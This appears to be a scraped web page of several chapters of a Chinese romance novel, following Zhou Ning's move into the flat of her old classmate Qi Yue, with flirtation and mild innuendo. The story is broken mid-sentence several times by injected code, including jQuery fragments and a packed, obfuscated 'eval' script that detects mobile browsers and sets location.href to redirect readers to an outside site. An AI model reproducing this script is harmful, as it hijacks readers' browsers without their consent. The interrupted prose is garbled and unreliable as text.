$(''.inform'').remove(); $(''#content'').append('' 触过女人唇瓣的,带着桃子清香的气泡酒顺着喉咙滑入腹中。 虽然设计做局再趁人之危很畜牲,但周柠不是说他老狐狸么,也算是有名有姓,被官方认证的真畜牲了。 情况还不算太糟糕:-) -- 翌日,周柠睁眼时盯着天花板足足盯了三分钟,脑海中掀起一阵又一阵风暴,在她布满沟壑的大脑皮层上冲了又冲,直到唤醒每一个沉睡的记忆神经末梢。 “啊啊啊啊!”她猛然鲤鱼打挺,一脚踢开被子,将其揉成一卷又抱着来回滚了四五圈,最终才生无可恋地接受现实。 不管断没断片,在别人面前喝醉酒都是件很丢脸的事。断片是别人帮你回忆起来的时候丢人,不断片是自己回忆起来的时候丢人。 该怎么跟祁越解释她说要抱被子过去跟他睡一张床只是醉酒后的胡言乱语呢? 还有合租的事情…… 周柠一上午工作都心不在焉,敲三分钟代码就要敲三十分钟电子木鱼。幸好今早出门没撞上祁越,不然她就当真要表演掘地三尺活埋自己了。 可总归要面对,昨晚还答应祁越下班后要一起去生鲜超市进货。 啊啊啊啊!脑中一团黑线,周柠额头磕在桌上装死。 熬到午休,李依依打语音电话过来,“退租的事情我跟朋友那边已经说好了。你什么时候搬,搬去哪儿?” 周柠沉默三秒,最终开口坦白,“昨晚我答应祁越要搬过去住。” “搬过去?去他家?” “嗯。” “嘶,超绝执行力。” “什么?”周柠没听清。 “没什么,额……挺好的,省得再找房子了。而且对门搬起来也快。” “但我昨晚喝了酒,根本就没慎重思考过。想了想,还是得再找房子才行。就是现在不知道该怎么跟祁越说。” “为什么忽然又要再找房子呀?”李依依疑惑,“难不成你侦察出了祁越的小秘密?” “什么小秘密?” “诸如他暗恋你多年,要把你骗进去图谋不轨之类的。”李依依玩笑道:“那可得小心哦!” 周柠觉得荒谬,“没有那种事。” “真没有?” “真没有!放心吧,我直觉很准的!心里有数!”周柠边说边信心十足地拍胸口,“他不是那种人。” 电话那头传来诡异的寂静。 周柠:“喂?断线啦。” “没,我又仔细思考了一下。”李依依说,“你是不是忽然发现自己其实喜欢他呀?跟他待在一起会心跳加速无法自持,害怕脸上红温露馅儿所以才要找乌龟壳把自己藏起来。” 周柠:“……啊?” “emm……”李依依的声音忽然变得很暧昧,“如果是后者的话,你的机会不就来了嘛。我上一个男朋友就是合租找到的。你就像我一样在一个月黑风高的夜晚直接霸王硬上弓,不信他不从,嘿嘿。” “什么呀,收!收!收!都不是!” “都不是那你纠结什么?”李依依恨铁不成钢,“有便宜不占王八蛋!搬家搬上瘾啦?你不嫌累我看着都累。” “也对哦……” “就是嘛,现在有头肥羊摆在面前那就赶紧薅呀!租房搬家多麻烦!” 手机对面的李依依忍不住在心里咆哮,九年暗恋潜逃犯诶,快去抓他呀,小周警官。再不抓的话,犯人就要自首了! …… 挂断电话,周柠捧着脸发呆。 所以她在纠结什么呢?这些天跟祁越相处得明明很融洽,房子很大,两个人住都算是空的。搬家到对门又快又方便,还不用重新找房子。 怎么想都不亏。那她在纠结些什么呢? 周柠摸着心脏,发现那里跳得很快。 于是她把杯里的咖啡倒掉换成果汁。 营销号说得没错,咖啡因摄入过多果然升心率。 11. chapter(11) 周柠觉得自己大概是又被回避型人格夺舍了,下班后她没直接回家,反而坐在工位上心情燥郁地刷了半小时手机。 短视频一直刷也没意思,刷到好笑的笑一下,刷到伤感的就吸吸鼻子,大部分时间都面无表情地划来划去,直到麻木,最后感叹时间怎么过得那么快。 不能再这样拖下去。 组织好语言,周柠点开微信发送信息。 [抱歉,今天突然加班,可能会很晚,你和椰子先吃吧。] 对面秒回一条语音。 “突然加班?”祁越的声音听上去有些失落,但停顿三秒后,语调忽然上扬,像是隔着屏幕就识破了她的诡计般戏谑道,“你们老板太可恶了。” 害怕暴露,周柠可不敢发语音,只好硬着头皮打字:[是啊,他真的,太坏了。] 很惭愧,上班也有一段时间,她还不知道老板的长相,甚至连名字都没了解过。她只在乎工资有没有入账,不在乎打钱的人是谁。 在背后无缘无故拿人挡枪总归不太好,周柠决定虔诚地为老板敲十下电子木鱼。阿门。 她敲得太过认真,以至于对玻璃门外远远注视她的人毫无察觉。 祁越没有走进去,只是静静地凝望着她,嘴角笑得有些无奈。 十下电子木鱼敲击完毕,周柠没事做了,头磕在桌面上磨时间。 手机再次亮起,是祁越发来的语音。 他说,“抬头看窗外,有惊喜。” 周柠一惊,祁越怎么知道她现在埋着头? 但她并没有往深处想,只是照他所说的,起身走向窗户。 窗外能有什么惊喜呢?是下班高峰期的拥堵的马路,还是一成不变的市中心建筑? 拉开百叶窗,风便带着落日的余温迎面吹来。额前刘海被吹开,周柠仍不住眯眼,待再睁开时,大片紫红的火烧云撞入眼帘。 “哇……”她控制不住地张口,发出一声轻叹。 变动的云层在眸中舞蹈,她看了许久,燥郁的心慢慢变得平静了。 同事陆陆续续已经离开大半,心里的那股冲动推着她,快下去吧,这里多无聊。不就是处理个合租事宜?有什么大不了的! 云层被夕阳烧得更加炽热,周柠按住语音键感叹道:“晚霞很漂亮,的确是个惊喜。” 对面依旧秒回,“听你这语气,刚才有在质疑我说的惊喜吗?” 刚想回复【没有】对面紧接着又弹出条消息。 “放心,为了防止鼻子变长,我向来不说谎。” 周柠心虚地摸了摸鼻子,踌躇半晌,打字道:[还是老地方见吗?我决定放弃加班,拥抱晚霞。] -- 今天的晚霞美得让人心碎,落日渐渐隐入高楼,橙红的云层向上扩散,在天空铺成粉紫,宛若一幅绚丽的油画。 周柠走在路上,脚步也变得轻快了。她已经忘记上次看到晚霞是什么时候,以前工作节奏快得让人喘不过气,通勤时间一个半小时,不得不披星戴月。 她没有傍晚。 祁越现在是不是也正抬着头跟她欣赏同一片晚霞呢?她忽然很想快些见到他,昨晚的尴尬好像也不是不能翻篇。 扶梯缓缓下降,周柠顺着人流走进地铁。不算太拥挤,站数不多就算没座位也不会很累。 抬头盯着地铁站指示灯发呆,今日的晚霞让她脑海中浮出许多类似的记忆。 那应该是高二上学期月考结束后的某个傍晚,天还没黑,语文老师在用第一节晚自习讲试卷。 月考语文阅读理解周柠答得不错,所以没在认真听,思绪渐渐飘到了窗外。 她的座位靠窗,窗帘没拉,安静地束在一角,抬头一望,便能看到还没被教学楼遮尽的晚霞。 粉紫色的云像独角兽,是少女在天空的梦。 她渐渐看得入迷,忘记了时间,直到一只麻雀展翅才被晃动的树枝拉回思绪。 余光瞥到有人在看她。 是被老师发现了吗? 周柠警惕地回头,语文老师正在讲台上激情昂扬地鉴赏古诗词。再往右转头,正好对上祁越那双黑亮的眼。 少年手里拿着笔,却没写字,反而用手背撑着半张脸在看她,黑眸里映着粉紫的晚霞和她缩小的人影。 祁越很快垂下眼睫,避开与她对视。但身体却朝她倾斜,靠得更近,低声玩笑道:“上课不认真听讲,刚才老师都看你好几眼了。” 周柠心虚地朝讲台上又看了一眼,确定语文老师还在专注讲她的古诗鉴赏后,才朝祁越凑近些压低声音说,“怎么不提醒我呀!” 两个人的头几乎要碰到一起。 祁越忽然掀开鸦羽看着她狡黠一笑,“因为我也看入迷了。” 这大概是周柠第一次这么近距离地看祁越,无法避免地仔细观察起这双尾部上挑的眼,发现她的同桌真的好像一只狐狸。 “哇,没想到你也喜欢粉色的晚霞。”周柠惊讶道。 祁越没立刻承认,坐直身子拉开两人间距离,望向窗外良久,然后才小声自言自语,“还真是粉色的……” “咳咳!”停止讲课后教室里变得十分安静,以至于语文老师这两声挤出来的咳嗽异常明显。 几十个脑袋这才后知后觉地齐刷刷转回。周柠这才发现,原来偷窥晚霞的不止她一个。 作为讲课的老师,看到一个班这么多人走神,她有些生气,可当她也在不经意间瞥到窗外的晚霞时,那股气忽然就消下去了。 美丽的事物总是能让人原谅一切。 “哎,算了算了,”她放下试卷摆摆手,“还有二十分钟下课,就先放你们出去看吧,不然再过会儿该没了。” 教室里的同学面面相觑,在三秒后爆发出一阵欢呼。 “嘘——!”语文老师用手示意他们小声,“但是缺的时间下节课要补上。” 于是在那天,周柠挂在走廊栏杆上目送整场晚霞落幕,直到上课铃声再次响起,一直站在旁边的祁越才拍拍她的肩膀,“天黑了,还想赏月的话,我只能陪你翘课了。” “敢不敢?”少年坏笑着,完全就是一只狐狸。 【梓林站到了,wearearrivingatZiling,下车的乘客,请从左侧车门下车,请注意站台与车厢之间的间隙……】 地铁到站提示音将周柠拉回现实。 “请让一下。” “请让一下,谢谢。” 终于走出地铁门,她小跑着坐扶梯,上楼刷二维码出站。 或许还有更多的细节,但周柠想不起来。翘课,她大概是不敢的。时间过去太久,高中三年的记忆混淆在一起,如今能拼在一起的,只是些碎片。 天色比刚离开公司时要更暗一些,晚霞也变得更加迷人,粉紫色的云层铺满天空。 出地铁站的扶梯缓缓向上,走出扶梯时,她看到祁越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思考ing 啊,有了。 周柠立马站起身,“我会塔罗,要不,给你算一把?” “好啊。”祁越像狐狸似的笑起来。 五分钟后,周柠对着抽出的卡开始分析。 “这个牌面显示,你的桃花有极大的概率会出现在今年夏天……这好像已经立秋了。额,不过牌面是说极大概率,立秋后也不是没有可能,总之,加油。”周柠鼓励地向他竖起大拇指。 “好,我会加油的。”祁越握拳在她的拳头上碰了碰。 “然后这张牌是说,你的潜在对象目前对爱情的认知比较懵懂,对自身的感情状态也很糊涂,甚至对自己的生活也是得过且过,即使有人表现出很明显喜欢她的动作,她也不会有所察觉。当局者迷旁观者清还不足以形容块木头,即使旁观也很迷糊,而且十分擅长回避。可能需要你更多地去引导,才能让她发现这段感情并理解自己的内心。” 得出以上结论后,周柠看向祁越,语重心长道:“但总而言之,找对象还是得靠自己,玄学是不可靠的。” “哦,那我再努把力。” “嗯,”周柠欣慰地点点头,“在你努力期间,我也得赶紧物色房子。” 祁越:“……”算得真准啊,小神婆。 12. chapter(12) 整场房屋租赁业务洽谈异常愉快,从开始沟通到中途开小差算塔罗牌再到最后敲定合同签字甚至不到一小时。 20xx年x月x日正式搬迁——也就是明天,房租水电天然气物业WIFI全免,家务由定期家政承包,唯一的要求是下班一起吃饭放假一起出去玩。 周柠瞳孔地震,“你认真的吗?” 祁越严肃点头,“是的,你的前房东对你而言是陌生人都能免房租,我作为你的老同学加新邻居——现在是新室友——为什么不能把水电天然气和物业WIFI全免了呢?” 为什么不能呢?周柠哑口无言。这还能找出什么理由吗? 祁越又接着说,“我总不能输给一个陌生人吧?况且,我又不缺那点微薄的房租续命,更不缺一个能平摊物业费的租客,但却缺一个能陪我一起吃饭的人。” 他说着扭头看了眼趴在地毯上摇尾巴的萨摩耶。 椰子:“……汪?” 周柠也低头看了眼摇尾巴的萨摩耶,然后抬头看向祁越,以生物科代表的名义发言提问:“这个陪你吃饭的人除了属于动物界、脊索动物门、哺乳纲、灵长目、人科、人属、人种外,还有别的要求吗?” “当然,”祁越打开手机相册,翻出一张照片推到周柠面前,“这个属于动物界、脊索动物门、哺乳纲、灵长目、人科、人属、人种的人类必须长这样。” 照片上的女孩还有些青涩,高马尾,瓜子脸,樱桃嘴,穿校服,嘴角淡淡微笑。 很明显,这是从高中毕业照里截出来的周柠。 她盯着照片,若有所思地点点头,“好的,了解。” 因为不想在老同学面前输给前邻居所以在免去房租的前提下又减去了水电天然气物业WIFI,草,在莫名其妙的情况下卷起来了。 这该死的胜负欲。宁肯亏死自己,也要卷死邻居。 他跟前邻居有仇? 这种行为能够顺利开展就像一只鸽子转动脖子以直升机螺旋桨模式飞起来一样令人费解。 一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165185|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有bug。 哎算了,有句至理名言怎么说的来着? ——代码莫名其妙运行起来的时候,就不要动它了。 毕竟她作为一个单纯的租客来说,真的血赚不亏。 也许是这些天祁越恰好脑子出现什么问题导致他不爆点金币就会浑身奇痒难耐,所以,一定要趁着他痊愈之前抓紧机会! “你说的都很有道理。”周柠把打印好的房屋租赁合同推到祁越面前,“那就不耽误时间了,签字吧。” 祁越行云流水地签完字,又盯着周柠一笔一画地把名字写完,紧绷的后背才终于放轻松。 “合同我会放保险箱锁起来。”祁越调笑道。 周柠把合同装进文件夹,“我也会保管好的。” “那会议就到此结束?今晚还有些工作没处理。” 周柠点点头,“我也得回去加班,你知道的,我今天提前溜了。” 于是双方都因为觉得自己赚大发,生怕对方反悔,而火速逃离现场。 13. chapter(13) 房子很大,两个人的房间又不相邻,所以除了相处时间多一点,能撸狗的机会多一点,其他方面好像也没什么区别。 下班回家,做饭,吃饭,收碗,聊天,然后再一起玩会儿游戏,又或是看会儿电影,最后洗漱睡觉。 以前周柠还在独居时的下班流程跟现在虽然大同小异——回家,躺下,玩会儿手机,点外卖或者糊弄一锅煮,看着平板吃饭,洗碗,玩手机,洗洗睡——但因为是两个人,所以分泌出来的多巴胺几乎要翻N倍。 她喜欢和新室友一起逛生鲜超市,然后提着大包小包回家。椰子也不能放过,必须帮忙!手不能提就用嘴叼。 虽然独居的时候也会逛生鲜超市,经济自由喜欢什么也能买什么,她过得也算快乐,但现在,她过得更快乐。 比起点完外卖盯着手机上骑袋鼠的外卖员缓慢移动,她更喜欢和椰子一起蹲在厨房见缝插针给因留洋而被迫厨艺精湛的祁大厨打下手,幸福地等待口粮出炉。 饭后,祁越有时候会打开电脑噼噼啪啪处理工作,周柠也会去学习提升专业必备的相关技能。市场就是这么残酷,行业技术日新月异,永远有更年轻更便宜的人才,如果不保持学习,只依赖ChatGPT的话,她很快就被会淘汰。 周柠一直觉得自己是个淡人,但最近她发现自己对祁越莫名其妙地产生了强烈的探索欲。 她好奇他对所有自己感兴趣的事物的看法,好奇他是哪家游戏公司的老板,好奇他为什么精力总是如此旺盛,明明回来还要处理工作,居然还有闲情雅致去做三菜一汤。 不过成年人的边界感有效地克制住了她的好奇。 对于普通同学而言,住在同一屋檐下,已经很亲密了。如果没有一个合适的契机,总不能突然像查家底似的去问祁越公司的详细名称和地址,她认为这跟打听薪资一样没礼貌。 所以两人就这么各干各的,互不打扰。 椰子趴在地毯上摇尾巴,天已经黑了,晚风从窗外吹过,窗帘就鼓起来,在空中划出一道弧线,如蝶翅翩跹。 这种感觉很像高中晚自习一起埋着头做作业,教室里很安静,头顶风扇在转,只能听到书本被风吹翻页的声音,但因为知道坐在身旁的同桌也没写完作业,所以感到分外安心。 总之,一切岁月静好,像高中生做小学数学题一样愉快和谐。 -- 李依依八卦兮兮地问:“你跟祁越同居这么久了,难道就没擦那个枪走那个火?” 周柠严肃纠正,“首先,这位好奇的李女士,我很抱歉地提醒您,这不叫同居,这叫同住。” “有什么区别?” “区别就是……额……” “说不出来了吧,还是不敢说?” “同居听上去不太符合社会主义核心价值观,我跟祁越是签过合同的同住室友,just社会主义同住室友情。所有的室友,都是姐妹。” “嘶——”李依依肃然起敬,低头咕噜咕噜吸珍珠奶茶,压低声音自言自语,“我还以为祁老板速度多快呢,原来就这。” “你在说什么?是不是在说我坏话!” “没有啊(嚼嚼嚼)我就是想说(嚼嚼嚼)之前跟我合租的帅哥不到一周就让我全垒打了(嚼嚼嚼)而你还在玛卡巴卡。” “如果我记得没错的话,大概一周后你又把人甩了。” “是的,虽然长得帅,但是不好用啊。没办法,我可不受那委屈。” 周柠:“……”默默竖大拇指。 李依依扔完奶茶杯过来揽住周柠的手,语重心长道:“夜路走多了,总会遇到鬼的。我对你们有信心!” “什么鬼形容。” “你语文不好当然不懂我意思,这种比喻叫信达雅。” 周柠:“身正不怕影子斜,妖魔鬼怪不敢近身。” 李依依叹气,“你个僵尸,立起来都直成木板了,确实正。”再正下去某人就该哭喽。 “……蛤?” -- 周柠觉得自己的生活会一直像池塘里的水没有一丝波澜,并且已经习惯了这样的生活,可是她忘记了,平静的池塘里已经放入一条锦鲤,轻轻摆尾,就是一圈涟漪。 晚饭后闲来无事,两人准备选部电影投影来看,窗帘一拉,开个小灯,氛围也勉强像个电影院了。 起初祁越选的是部很有名的青春纯爱电影,周柠对这部电影久仰大名可惜一直没看,简介她也感兴趣,但还是摇摇头说,“这部我看过了,换一部吧。” 最后她点开一部有些小众的惊悚类影片,“要不看这部?” “你确定?”祁越问。 “放心吧,”周柠自信点头,“我胆子很大的,一般恐怖片吓不到我。” 听她这么说,祁越似笑非笑道:“好吧,那中途不能后悔。” 这狐狸似的表情一看就有诈。 “你之前看过吗?很恐怖?”周柠问。 “看过,剧情不错,但一点也不恐怖,甚至恐怖的画面还有些幼稚。”祁越实话实说,“如果你想看的话,我可以陪你再看一遍。” “也许你觉得幼稚的画面我也觉得幼稚呢,我可是面无表情把《咒怨》看完的女人。”周柠不服气道,“就看这部吧,我中途绝对不会后悔扫兴,谁后悔谁小狗。” 椰子:“汪!” 正如祁越所言,这部惊悚类电影剧情确实不错,也真的一点都不恐怖,既不血腥也不暴力,甚至连鬼都没有,但是周柠看到一半真的很想关投影。 尺度太大了。男男女女亲个没完,睡个没完,甚至还有唇部特写,吮吸得出神入化。简直是高质量毛片,有剧情有激情,有技巧有演技。 如果是她自己抱着平板看,她一定逐帧加放大镜细细观摩,如果是和李依依一起看,她会放弃表情管理尽情变态,如果是一群认识的人一起看,她倒也能装作无事发生。 可偏偏只有两个人看,旁边坐着的还是祁越。 他们目前只不过是关系好点的老同学。 补充,异性同学,荷尔蒙爆炸的男同学。 所有的室友都是姐妹,这句话错!大错特错!祁越浑身散发出来的气质让她根本没办法拿祁越当姐妹看待。 之前还在评论剧情,但现在,两个人都没说话。 投影的屏幕又大又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190612|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰,房间里是3D环绕音响,窗帘已经拉严实,只有一盏昏黄的小灯,衬托得暗室里氛围更加暧昧。 “唔……” “嗯……” “啊……” “ohyes” 喘气。 救命,周柠觉得自己快碎了,还不如看那部青春纯爱电影呢,至少画面不会让人尴尬。 可她之前说了中途绝对不会后悔扫兴,现在只能硬着头皮坚持。 但渐渐的,周围笼罩的氛围让她感觉很奇妙,像喝醉了酒似的,上头。 而且她有些庆幸今天跟她看这部电影的是祁越,而非其他异性。 至于原因,暂时没调查出来。 心脏跳得飞快,仿佛在胸口已经兜不住了,猛烈的震动几乎要将耳膜戳破。呼吸也变得紊乱,她甚至分不清这沉重的呼吸究竟是自己的还是祁越的。 不要扭头。 不要去看祁越。 专注电影。 正常点,不要露怯。 你是一个成年很久的成年人。 食色性也,没什么不能看的。 这时,坐在两人中间的椰子忽然叫了声,“汪!” 声音的吸引让她终究还是没忍住扭头。 祁越遮住椰子的眼睛,“为了你的身心健康,未成年小狗禁止观看。” 声音很温柔,但叛逆的椰子一点儿也不领情,见甩了甩头没甩开,就用前爪把祁越的一只胳膊推开。 周柠忍俊不禁,伸手将椰子露出的那只眼睛遮住,“祁越说得对,未成年小狗禁止观看。” 椰子:“汪呜……”已老实,乖乖坐好。 周柠轻轻捏了捏萨摩耶的果冻耳朵,抬头正好对上祁越的眼睛。 房间里很昏暗,借助幕布反射投影的光只能看清人的大致轮廓,但那双永远装着星星的眼睛却清晰可见。 他现在是不是也看着她的眼睛呢? 幸好屋里黑,看不清她的脸在烧。 既然已经对视,总得说点话。 “但是成年人可以看。”周柠对刚才的电影和突发事件进行总结。 “周同学也说得对,”装着星星的眼睛像月亮似的弯起来,“成年人可以放肆看。” 周柠感觉耳朵也烧起来了,连忙扭过头继续看电影。此刻激情片段已经过去,心里暂时松口气。 可旁边的人却一直不扭回头,反而在借着屏幕的光看她。 周柠正襟危坐,表现出自己毫不知情的模样。 她不知道如果这时候扭头跟祁越对视,该怎么处理。既然解决不了,那就不要让这种事情发生。 可祁某人却一点都没打算放过她,“成年人周柠,你耳朵红了。” “窗户都关着,又没开空调,很闷的。”周柠没扭头,继续盯着电影看。 “哦,原来是闷的,还以为是因为我呢。”祁越起身,“我去开窗。” 是因为祁越在旁边吗?周柠捂着耳朵揉了揉,心率又开始飙升。 待会儿不许再红了,听到没?因为你是一个就算没吃过猪肉也见过猪跑,理论知识无比丰富的,成、年、人。 14. chapter(14) 如果记忆没出错,大概在高二时,也有类似的场景。那时她跟祁越还是同桌。 每周一节的心理课,心理老师有时候会解放自己,直接让这节课放电影,自己出去处理别的事。 《速度与激情7》 很速度,很有激情。 播到最激情的片段时,班里所有人几乎在同一时刻装作自己很忙的样子。也许是因为青春期荷尔蒙的躁动,原本安静的教室时不时传出几声被压低的略显尴尬的咳嗽。 周柠埋头写题。 祁越则拖着脑袋看她写题,然后幽幽道:“选错了,这道送分题该选B.” 她扭头看祁越,表示怀疑。 少年打了个哈欠,“不信你自己再算一遍,要是不选B我吃卷子。” 这是选择题最后一题,她又重新算了遍,果然选B。 中途没抬头,不知道那段剧情结束没,她决定把填空题也做完。 祁越似乎已经将她看穿,憋着笑提醒,“你不好意思看的已经没了,继续看电影吧,思路理好才不会丢分。” 周柠:“……”好想挖地洞钻下进去。 -- 洗漱完,周柠躺在床上翻来覆去睡不着。 不知是因为电影还是因为祁越,又或是真的在窗户全关的房间里闷太久的原因,总之,她现在口干舌燥。 开门,屋外的灯没熄完。祁越还没睡吗? 去冰箱拿水,结果看到祁越正好站在冰箱前。 他刚洗完澡,头发还是湿漉漉的,只穿了条裤子,上半身裸着,薄肌,肩上搭条毛巾,此刻正仰头喝水。 听到动静,他扭头看过来,神情微怔,随即笑道:“还没睡?” 头皮一麻,周柠强装淡定,“有些口渴,出来喝水。” 祁越便从冰箱里拿出一瓶水拧开递给她。 “谢谢。”周柠接过,咕嘟咕嘟大口喝水。 她太渴了,一口气就喝下去一半。 祁越没回房间,而是站在一旁看她喝水,静静地看着,也不说话,湿漉漉的头发半遮住眼睛。 即便如此,她也不可能注意不到祁越的目光。 因为今夜的目光与以往不同,带有一丝她形容不出来的攻击性。 大厅只开了小灯,昏暗的灯光下,气氛被挤压得神秘而危险。 食草动物天生的警觉性使得她每一个毛孔都在叫嚣,你被捕猎者盯上了。 她现在是继续装作若无其事地喝水还是赶紧溜回房间呢? 好撑,喝不下了。 很奇怪,明明半.裸着身子的是祁越,饱眼福的是她,占便宜的也是她,怎么现在搞得好像她才是被动的那一方? 或许她也能反客为主,开玩笑地夸一句,你胸肌练得真大。 颅内CPU高速运转,周柠抿了抿唇准备开口。 说了这句话后祁越会怎么接呢?她又该怎么回复呢? 飘忽不定的眼神从矿泉水瓶口飘到结实的腹肌又被烫得缩回来。 好难搞。她居然没好意思看。 祁越却好意思一直看她,将她每一个窘迫的小动作都收入眼中,然后发出一声轻笑。 她听到了。 最终,CPU因为运载过度而彻底歇菜。 fine,现在的关系还不能让她当面说出这种骚话。 正常点,做个正人君子,非礼勿视非礼勿言。 321溜! 正想说她先回去睡了,祁越却抢先开口,“别客气呀。” 只见他微微张开双臂,戏谑地笑道:“想看可以大大方方的看。” “咳咳咳。”周柠被水呛到。 既然室友都这么说了,为了不让自己显得太古板拘谨,周柠只好从命。 白皙紧实的皮肤,被暗黄的灯光一照,呈现出黄金丝绸般的光泽。至于腹间人鱼线还有一滴未擦干的水,应该不是刚才呛水喷上去的吧…… “谢谢款待。”周柠淡定看完,竖起大拇指淡定评价,“国宴。” “噗嗤。”祁越笑了会儿,整顿好声线,颇为严肃道:“如果你觉得在公共区域不穿上衣或者不好好穿上衣是在互相勾引的话,可以在合同里再加一条相关条例。” “不,不用那么麻烦。”周柠摆手三连,“放心,我是个正直的人,绝对不会对你有任何非分之想。在合同生效期间,我们一定是健康且正常的关系。” “男女朋友也是健康正常的关系。” 那双狐狸似的眼睛比平常更亮,像是在期待着些什么。 “男女朋友确实是健康正常的关系,”周柠磕磕巴巴地回答,“但跟我们这种签合同制的室友有什么关系?” “你说呢?” “啊?”周柠张了张嘴,半天说不出话,变得像块木头。 好像有点逼得太紧了,她现在不知道该怎么办了。祁越眯了眯眼,朝她躲闪的目光追去,最后见她盯着地板看,像是在放空,又像是在思考。 气氛在冷场的一瞬间变得焦灼。 祁越在心里做出推测——如果再进一步,她会不知所措地后退,然后把自己关起来。 别着急,不要吓到她,让她慢慢地适应我。 “是可持续发展关系。”祁越替她回答。 “哦,可持续发展……”周柠若有所思地点点头,即使她并没有反应过来这究竟是什么意思。 “早点睡,周室友,你明天还要上班。”祁越说。 他走过来,手握着矿泉水瓶,用瓶盖把从她肩上滑下来的吊带推上去。 从胳膊到锁骨的冰凉触感让她不由得浑身一激灵,抬头时正好对上那双狐狸似的眼睛。 她好像从来没有这么近距离地观察过祁越的脸,近得连呼吸都能缠绕在一起。 一切都放大了,睫毛,眼睛,鼻子,嘴唇,还有更清晰的皮肤,更浓烈的气味。 刚洗完澡残余的沐浴露,清爽的薄荷。 扑通扑通,周柠觉得自己太阳穴快炸了,脑中一片空白。 然后,只见那两片好看的嘴唇一张一合,熟悉的声音便传入耳蜗。 “不客气。”祁越笑道。 “没关系。”周柠摸着肩带语无伦次。 …… 周柠不知道自己是怎么回房间的。 她将脸埋进柔软的枕头用力呼吸,聆听心脏在耳边狂跳的鼓点。直到空气耗尽,接近窒息,她才丢掉枕头,在黑暗中露出一张憋红的脸。 ——“如果你觉得在公共区域不穿上衣或者不好好穿上衣是在互相勾引的话,可以在合同里再加一条相关条例。” 这是祁越的原话。 不穿上衣的是祁越,不好好穿上衣的则是她。 周柠扯了扯肩上那宽松又没弹性的吊带,冰凉的触感仿佛刻在记忆中似的,一条线微微发痒,又让她不由得浑身一激灵。 “啊啊啊啊啊啊啊!” 她蒙在被子里哇哇叫起来,踢掉被子又来回滚了好几圈让自己冷静。 还是睡不着。 “完蛋了。”她望着天花板喃喃自语。 难道真让李依依说准了? 她!遇到!鬼了! 而房间外,刚洗完澡的祁越又重新跑进浴室冲了遍凉。 -- 周柠一晚上都没睡好,做些乱七八糟的梦。 她跟一个看不清脸的人手牵手走在大学操场上,然后祁越站在中间把牵在一起的手掰开,最后捉着她的手腕又生气又难过地质问:“你们在做什么?” “我们在……额……” 然后她就醒了。 梦果然都是没逻辑的,挠破头都想不明白为什么祁越会以这种方式出现在她的梦里。 她只跟一个人牵过手,是大一在社团里认识的同学。姑且称呼他为小A。 小A是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这件事最后以男嘉宾遗憾离场,女嘉宾站在原地懵逼凌乱结尾。 再后来半路上碰面,两人也没打过招呼。 直到现在周柠回想起这件事,仍旧想不明白小A为什么会破防。 -- 翌日,周柠戴着两只黑眼圈在工位上伪装坚强。 前端组的同事小胡则神采奕奕地对新来的实习生八卦,“老板虽然是高冷了点,但他很帅的,很少有老板能长得比我们老板还帅。论坛上有句话——红豆生南国,NetLight有男模,看到过没?” 实习生懵懂点头,“略有耳闻。” “小周,你呢?”小胡问。 周柠摇头。 “我有照片,”小胡压低声音,“虽然有点糊,但能勉强看清脸。” “不看了,现在挺忙的。”周柠困得打了个哈欠。 见她兴致缺缺,同事小胡逮着新来的实习生继续激情讲解,“算了,我们看。去年年会我第一次见他,还以为公司发财居然舍得请男模来走秀了,谁知道那是大老板。” “卧槽!!!!”新来的实习看到照片发出一声爆鸣。 “嘘!嘘!嘘!”小胡捂住她的嘴巴。 周柠:? 虽然好奇,但她懒得挪工位,所以最终还是没加入男模鉴赏小分队。 大老板,男模,两个很难联系到一起的词被硬凑在一起。 周柠对公司的男模没兴趣,但想起昨晚看到的情形,困顿的精神状态一下子又振奋起来。 昨晚眼睛吃得太好了,一般的实在勾不起兴趣。 不会有男模比家里的男模还男模。 不是红豆生南国,NetLight有男模,而是红豆生南国,家里有男模。 15. chapter(15) 国庆小长假,阴雨连绵不断,直到第五天才开始转阴,第六天才多云。第七天,天气预报显示晴,难得的好天气。 祁越提议去山顶看日落。 连续在家躺尸好几天,周柠捏了捏大腿上松垮垮的肉,痛定思痛,通过了祁越的提议,去拥抱大自然。 日落开始时间傍晚六点十分,下午四点的时候山脚已经有不少人。假期交通拥挤,他们被堵得五点才到。得加快爬山速度,不然会错过日落。 最开始周柠还能保持较快的上坡速度,但越到后来,爬得越慢。 要喘不上气了,成年社畜果然缺少锻炼。 “你不累吗?”周柠扭头问。 